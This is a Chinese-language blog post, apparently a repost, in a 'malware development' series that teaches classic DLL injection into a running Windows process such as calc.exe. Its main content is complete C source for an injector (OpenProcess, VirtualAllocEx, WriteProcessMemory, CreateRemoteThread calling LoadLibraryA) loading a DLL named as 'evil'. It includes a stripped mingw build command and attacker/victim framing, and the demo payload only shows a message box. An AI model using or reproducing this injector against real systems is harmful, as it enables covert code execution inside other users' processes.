恶意软件开发第 5 部分:将 DLL 注入进程

admin 2024年8月15日22:36:07评论44 views字数 2487阅读8分17秒阅读模式

恶意软件开发第 5 部分:将 DLL 注入进程

让我们来谈谈一种经典的技巧,即使用调试工具的 DLL 注入。在上一部分中,我们讨论了将代码放入程序中。现在,让我们准备注入我们的 DLL。

当您为常规程序 (exe) 和称为 DLL 的特殊程序编写 C 代码时,会存在一些细微的差别。对于 exe,操作系统通过调用名为 main 的函数来启动所有程序。但对于 DLL,情况略有不同。操作系统已经在内存中启动了一个进程。您的 DLL 被加载到该进程中,因为该进程需要您的 DLL 可以执行的操作。

因此exe 需要一个 main 函数,而 DLL 需要一个 DLLMain 函数。这就是两者之间的主要区别。

为了简单起见,我们创建仅弹出消息框的 DLL:

恶意软件开发第 5 部分:将 DLL 注入进程

此 DLL 仅包含 DllMain 函数,该函数是 DLL 的主入口点。通常,合法的 DLL 会声明导出函数,但此 DLL 不会。在 DLL 加载到进程内存后,会立即执行 DllMain。

在 DLL 注入的背景下,简单性是在另一个进程中执行代码的关键。因此,许多恶意 DLL 的大部分有害代码都包含在 DllMain 中。虽然有方法可以强制进程运行导出函数,但使用 DllMain 通常是实现代码执行的最直接方法。

当注入进程时,此 DLL 应显示消息“ hii ”以确认注入成功。这使攻击者能够验证注入是否成功。

现在我们可以编译它(在攻击者的机器上):

恶意软件开发第 5 部分:将 DLL 注入进程

恶意软件开发第 5 部分:将 DLL 注入进程

并将其放在我们选择的目录中(受害者的机器):

恶意软件开发第 5 部分:将 DLL 注入进程

现在我们只需要一个代码将这个库注入到我们选择的进程中。

在我们的案例中,我们将讨论经典的 DLL 注入。我们从磁盘分配一个大小至少等于 DLL 路径长度的空缓冲区。然后我们将路径复制到此缓冲区。

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <windows.h>#include <tlhelp32.h>char evilDLL[] = "C:\bitcoin.dll";unsigned int evilLen = sizeof(evilDLL) + 1;int main(int argc, char* argv[]) {    HANDLE ph; // process handle    HANDLE rt; // remote thread    LPVOID rb; // remote buffer    // handle to kernel32 and pass it to GetProcAddress    HMODULE hKernel32 = GetModuleHandle("Kernel32");    FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryA"); // Use FARPROC for function pointer    // parse process ID    if ( atoi(argv[1]) == 0) {        printf("PID not found :( exiting...n");        return -1;    }    printf("PID: %in", atoi(argv[1]));    ph = OpenProcess(PROCESS_ALL_ACCESS,                     FALSE,                     DWORD(atoi(argv[1])));    // allocate memory buffer for remote process    rb = VirtualAllocEx(ph, NULL, evilLen,                        (MEM_RESERVE | MEM_COMMIT),                        PAGE_EXECUTE_READWRITE);    // "copy" evil DLL between processes    WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);    // our process start new thread    rt = CreateRemoteThread(ph, NULL, 0,                            (LPTHREAD_START_ROUTINE)lb, // Cast lb to the appropriate function pointer type                            rb, 0, NULL);    CloseHandle(ph);    return 0;}

此代码是恶意软件注入的一个简单示例。其工作原理如下:

  1. 加载恶意 DLL:代码指定恶意 DLL 的路径(bitcoin.dll)及其长度。

  2. 获取函数地址:使用LoadLibraryA从模块中检索函数的地址。此函数负责加载 DLL。Kernel32GetProcAddress

  3. 打开目标进程:使用 打开由其进程 ID (PID) 指定的目标进程OpenProcess。

  4. 在目标进程中分配内存:它在目标进程内分配内存,用于VirtualAllocEx存储恶意 DLL 的路径。

  5. 写入目标进程内存:使用将恶意DLL的路径写入目标进程分配的内存空间WriteProcessMemory。

  6. 创建远程线程:使用 在目标进程中创建远程线程CreateRemoteThread。指示该线程执行LoadLibraryA函数,并将存储恶意 DLL 路径的内存地址作为参数传递。

最终,当我们理解了注入器的全部代码后,我们就可以测试它了。编译它:

x86_64-w64-mingw32-gcc -O2 bitcoin1.cpp -o bit_inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1

恶意软件开发第 5 部分:将 DLL 注入进程

让我们首先启动一个 calc.exe 实例,然后执行我们的程序:

恶意软件开发第 5 部分:将 DLL 注入进程

为了验证我们的 DLL 确实被注入到 calc.exe 进程中,我们可以使用 Process Hacker。

恶意软件开发第 5 部分:将 DLL 注入进程

在另一个内存部分我们可以看到:

恶意软件开发第 5 部分:将 DLL 注入进程

看来我们的简单注入逻辑成功了!这只是将 DLL 注入另一个进程的最简单的方法,但在许多情况下它就足够了,而且非常有用。

如果您愿意,您还可以添加函数调用混淆,这将在未来的部分中进行研究。

在以后的部分中,我将尝试找出更高级的代码注入技术。

我希望你喜欢它:)

原文始发于微信公众号(Ots安全):恶意软件开发第 5 部分:将 DLL 注入进程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月15日22:36:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   恶意软件开发第 5 部分:将 DLL 注入进程https://cn-sec.com/archives/3069280.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息